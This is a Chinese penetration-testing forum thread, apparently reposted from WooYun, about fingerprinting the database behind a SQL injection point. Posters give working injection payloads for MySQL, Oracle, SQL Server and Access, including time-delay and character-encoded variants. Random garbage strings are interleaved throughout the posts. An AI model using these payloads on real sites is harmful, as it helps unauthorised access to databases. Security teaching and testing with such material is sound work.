中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
" T# F" y0 |; h. G6 A( C1 Z
xsser (十根阳具有长短!!) | 2013-02-05 12:36
! |6 ^2 K. @& d3 t* x
假设这么一个注射点:
* z/ H4 j. R+ ]/ d2 s' \+ I
show.html?id=2
! N( d! V9 @9 x2 U
mysql:id=2 and version()>0
" N- v2 w0 e" _, h0 J5 J \
oracle:id=2 and '1'||'1'='11
! r0 f+ D! j+ H. i0 H/ z- q
其他的欢迎补充
0 ?; G$ i% T* a
1#
& n+ R' g$ [& {& P' O2 M9 ~8 l @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
t6 k7 t, M Q3 V m
Access:
3 A9 C: P0 e! d6 b
aNd aSc(cHr(97))=97
( n3 i2 c% k( g6 q) ^* J8 o! G1 c0 P" \
and exists(select id from MSysAccessObjects)
. |6 E! P% I& q6 Y s4 d
SQL Server:
+ O6 `. a" d( t# m- Y
and exists(select id from sysobjects)
$ F& Q! ?9 k d# |* |) r' ]+ P5 Z
and length(user)>0
; D5 W' A5 r1 Z: D) L) ^% B
MySQL:
6 A* E5 ^; {, a
and length(user())>0
& L2 J g3 _* m0 w6 b/ o7 s" j
2#
/ z# }! T+ c9 A
xsser (十根阳具有长短!!) | 2013-02-05 12:48
/ M; r: |2 {' Y8 H0 y% d) \
@upload 如果这些都不是呢…
+ R0 _4 L! K: K' E h6 q
3#
# X3 Y% ] v# c. {7 i8 ?9 w$ @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
& S* c, `; ?" U3 o2 A- R1 L
@xsser 不快速的,延时注入
7 ?! G8 W) J! X0 A
不知道这样写对不对
# A, v: ~2 z% D0 i/ [
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
1 ]& i2 g f5 d9 ~ _" t0 l
mysql:id=2 and select benchmark(1e8,current_date());
* t$ `! h% a" T( z0 ?
4#
9 ~2 C" @6 e3 i/ c# `' l: n. A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
" x0 [" }; u: G0 x+ z2 q! Q4 Z
最快的貌似是看报错信息
$ I' z( v2 `+ w$ O( I% s% j
oracle error
# n' @2 t- k( Y4 `/ v0 j- A! P' F
mssql error
2 l# o( ~9 t4 n2 k
mysql error
$ ^/ L/ U$ [, ~0 z7 H) a% o5 t' K
5#
G" H' _2 p! W8 q
Nimda (你们都是坏银~) | 2013-02-05 13:14
5 o: e% a: ^1 `
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
2 u5 b1 y, D+ m+ z9 [. Q& S' H$ g
6#
( I! p7 u" [; I7 e' J6 Y: R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 ?4 `( J" \! y0 J
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
/ r2 d- ^% G0 }* {5 p
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
# H0 t2 R; e6 D/ o1 R' R8 u' }
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
; l+ A3 \: Z& j. J- K F
7#
" |2 L$ K1 K* E- X. d# ]
_Evil (HackEnd) | 2013-02-05 13:33
* `" B8 _+ b. |2 c+ L' `+ ~2 S7 J! z
PostgreSQL
' z f }% ~" w6 L# e& a) e' ]
8#
7 B" n9 l, p' ]! q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
; N1 A! V& g: C& O: `6 C# D# T
切换编码 and 1=1
: j3 j& ? A+ F; Z0 O
oracle:
?7 ^5 J2 V; c+ m, @; y
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
* P2 s9 G( ~3 |/ Q+ V! _
mssql:
' m; r2 D6 G/ w G# \6 h# Z
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
" r% i# r( `3 u; R
mysql:
" |+ ]. I4 v: V$ l
CHAR(97, 110, 100, 32, 49, 61, 49)
8 A3 Z8 s) \6 X3 H/ @
9#
; m) O i- g6 _; u; L# d( `# X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
5 ~ H- }. m* k9 X: C" g- U
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
7 h( t1 L8 J' a+ e4 {7 a, ^- ^; V
10#
' v5 ]9 j6 y2 v2 ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
# {) I( f1 O$ r3 L, o
@xsser 是奇葩数据库类型的么?
2 }: y. `* T. g4 ]/ B% r! {
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
- C7 }' U- {) D7 E, U9 _, _" `/ p( f
1.是否可以使用特定的函数来判断,该数据库特有的
0 v: _- P% `! P% @ S* T; r
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 Y H6 R2 y: R J8 V. b) F
3.是否可以编码查询
/ P. z0 t) K( k. A) U0 u. x% M# \
4.是否显可以利用错信息
1 a( Z7 `' b' c, j# J
5.是否存在数据库某些特性辅助判断
$ {' H* [! j7 D: N, Z
个人见解
! }& ~- b8 [* p& ?- |
11#
0 i8 ]* W# i( E4 W' ^4 _1 F& C( e3 l
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
+ [6 l2 t4 Q9 V1 `
已收藏,mssql可以直接看到错误提示的吧~
& ]! A( c7 G+ {
12#
2 A) T! f. }+ m7 z
Passer_by | 2013-02-05 15:09
* M z2 ^1 P6 M5 f3 d! d
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
5 V# w6 R" o& g! s; t8 S9 `
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2